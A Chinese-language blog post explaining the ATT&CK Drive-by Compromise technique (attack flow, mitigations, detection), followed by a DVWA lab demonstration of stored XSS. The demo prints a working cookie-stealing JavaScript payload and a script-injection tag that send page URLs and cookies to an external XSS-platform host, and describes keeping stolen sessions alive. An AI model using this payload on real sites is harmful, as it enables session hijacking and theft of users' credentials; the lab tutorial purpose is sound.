Drive-by Compromise:通过受害者正常浏览网页去获取系统控制权限的一种技术手段。既可以通过浏览器或网页直接进行攻击,也可通过网页去获取相关认证的凭证

可选择的攻击手法

  1. 通过前端代码注入,如JS\IFrame\CSS
  2. 通过正常的广告渠道付费进行传播恶意广告内容
  3. 通过网页的交互页面插入恶意代码或对象,该代码可在其他用户端展示,如评论区、公告区

典型的攻击流程

  1. 受害者访问一个被黑客控制的网页或内容
  2. 网页中的脚本自动被执行,脚本主要用于搜寻浏览器或者插件的版本,以寻求相关的版本漏洞
  3. 根据上面发现的版本,进行漏洞代码的利用
  4. 如果攻击成功,黑客将会获得一个用户的系统管理权限

缓解措施

  1. 应用沙盒/虚拟化平台
  2. 严格的网页内容限制,如不可插入脚本等。第三方的Adlocks
  3. 攻击代码防护,主要通过系统机制,如 WDEG
  4. 补丁更新,保持最新版

检测方式

  1. 防火墙。可检测相关恶意域名和ip
  2. NIDS。网络入侵检测识别一点恶意行为
  3. 端点检测。通过判断应用的一些异常行为。如浏览器异常写文件等

Drive-by Compromise利用演示获取Cookie

1.搭建dvwa环境,设置安全等级为low,使用存储型XSS进行演示。具体搭建过程不详述,网上很多
2.使用XSS平台进行注册,建立获取cookie的项目

其中最关键的一段获取Cookie的代码为

(function() { (new Image()).src = 'http://xss.fbisb.com/xss.php?do=api&id=2Zd0&location=' + escape((function() {try {return document.location.href} catch(e) {return ''}})()) + '&toplocation=' + escape((function() {try {return top.location.href} catch(e) {return ''}})()) + '&cookie=' + escape((function() {try {return document.cookie} catch(e) {return ''}})()) + '&opener=' + escape((function() {try {return (window.opener && window.opener.location.href) ? window.opener.location.href: ''} catch(e) {return ''}})());
})();
if ('' == 1) {keep = new Image();keep.src = 'http://xss.fbisb.com/xss.php?do=keepsession&id=2Zd0&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

从js代码可知,该JS代码会获取当前页的路径、cookie信息,并将该信息发送至xss平台 xss.fbisb.com
在dvwa的xss模块处,插入代码

</script><sCRiPt sRC=http://xss.fbisb.com/2Zd0></sCrIpT>

刷新页面,可在XSS平台获取到相关敏感信息

这里注意XSS平台在获取cookies时候,有keepsession参数供选择,配置keepsession表示xss平台每隔几分钟会自动访问打到的xss后台,防止获得的cookies失效

参考链接

ATT&CK Drive-by Compromise节: https://attack.mitre.org/techniques/T1189/

ATT CK 阶段之 Initial Access --Drive-by Compromise相关推荐

  1. ATT CK 阶段之Initial Access --Exploit Public-Facing Application

    Exploit Public-Facing Application:即攻击对外开放的服务.这些服务通常为Web,也可能是数据库.标准服务如SMB.SSH 或者其他通过sockets能访问到的服务. 可 ...

  2. 滲透测试ATTCK攻击模型三(Initial Access 初始访问)

    攻击者试图进入目标网络,使用目标网络对外暴露的各种入口在目标网络中获得立足点.获得初始访问立足点的技术主要包括网络钓鱼或利用对外开放的web服务上的漏洞等.攻击者在获得立足点后可进行持久化和权限提升操 ...

  3. HTB Arctic[ATTCK模型]writeup系列7

    目录 0x00 靶机情况 0x01 ATT&CK ATT&CK能用来干什么? 网空威胁行为体(CyberThreat Actors) ATT&CK模型 TTP的定义 0x02 ...

  4. HVV-Learning-区域边界网络下的攻击链路与攻击事件(BLAUKC)

    目录 目录 1.前文提要 2.攻防演练/攻击活动中的特征 3.ATT&CK TTP描述的不足 4.区域边界网络架构下的核心攻击循环(BLA) 5.BLA和Unified Kill Chain统 ...

  5. 【转】ATT&CK模型解读

    攻防最前线:ATT&CK模型解读 | 极牛网 (geeknb.com) 所谓 EDR 即 Endpoint Detection and Response (终端探测与响应).EDR 和市场上常 ...

  6. 【赠书】《ATT&CK框架实践指南》

    在网络安全领域,攻击者始终拥有取之不竭.用之不尽的网络弹药,可以对组织机构随意发起攻击:而防守方则处于敌暗我明的被动地位,用有限的资源去对抗无限的安全威胁,而且每次都必须成功地阻止攻击者的攻击.基于这 ...

  7. ARM64的启动过程之(二):创建启动阶段的页表

    原文地址: http://www.wowotech.net/linux_kenrel/create_page_tables.html 一.前言 本文主要描述了ARM64启动过程中,如何建立初始化阶段页 ...

  8. asp毕业设计——基于asp+access的网络办公系统设计与实现(毕业论文+程序源码)——网络办公系统

    基于asp+access的网络办公系统设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于asp+access的网络办公系统设计与实现,文章末尾附有本毕业设计的论文和源码下载地址哦.需要下载开 ...

  9. Nginx的执行阶段详解

    在了解nginx的执行阶段前,先看一个例子 对echo不熟悉的,可以先看文章Nginx调试必备了解下echo扩展 回到上面这个例子,在server块中配置这样的location,你觉得输出是什么样子? ...

  10. 吴恩达旗下Drive.ai商业化第一步!现在去德州能打无人驾驶出租车

    李根 发自 凹非寺  量子位 报道 | 公众号 QbitAI 现在,去美国德克萨斯州阿灵顿,就能坐上无人驾驶出租车. 还是中国人民老朋友吴恩达旗下的无人车. 其任职董事并已参与日常运营的Drive.a ...

最新文章

  1. UML中的六种关系的比较与学习
  2. 设计模式-建造者模式(05)
  3. Grails 复用查询条件并分页
  4. 皮一皮:越是拥有越不会炫耀...
  5. ansible企业级自动化运维工具
  6. Windows 10安装pip方法
  7. 企业官网示例以及数据库表结构
  8. 循环删除List集合的错误
  9. Storm入门(0)--流计算
  10. table设置width无效
  11. python3.3 urllib.error.HTTPError: HTTP Error 403: Forbidden
  12. 莫言瑞典演讲《讲故事的人》
  13. 推荐一款Mac远程桌面工具——Parallels Client(免费)
  14. Html5 css3 导航箭头,HTML – CSS3导航箭头
  15. 云计算laas、paas、saas介绍和分类
  16. win7离线安装tensorflow-gpu1.13.1
  17. 关于fi dd ler 手机抓包 网卡地址地址_超详细的网络抓包神器 tcpdump 使用指南
  18. css字太多了省略_列表中文字太多 溢出使用省略号css方法
  19. 国家非专业等级计算机考试大纲,非计算机专业最新计算机等级考试大纲与试卷.doc...
  20. 蓝屏stop:0x000000007B (oxf78aa524,Oxcooooo34

热门文章

  1. [转载]淘宝技术发展
  2. 联想成为梦工厂动画的首选工作站创新合作伙伴
  3. JS中的单引号和双引号
  4. C语言 找数字,用(折半查找法或二分查找法)
  5. 25岁女生,转行学前端合适吗?
  6. word中两个文档合并后如何标题序号不变
  7. HTTP Live Streaming (HLS) 协议科普扫盲
  8. 智能制造:IntelligentSmart Manufacturing有何区别?
  9. 21天学会Java之(Java SE第十二篇):多线程、Lambda表达式
  10. Pycharm相对路径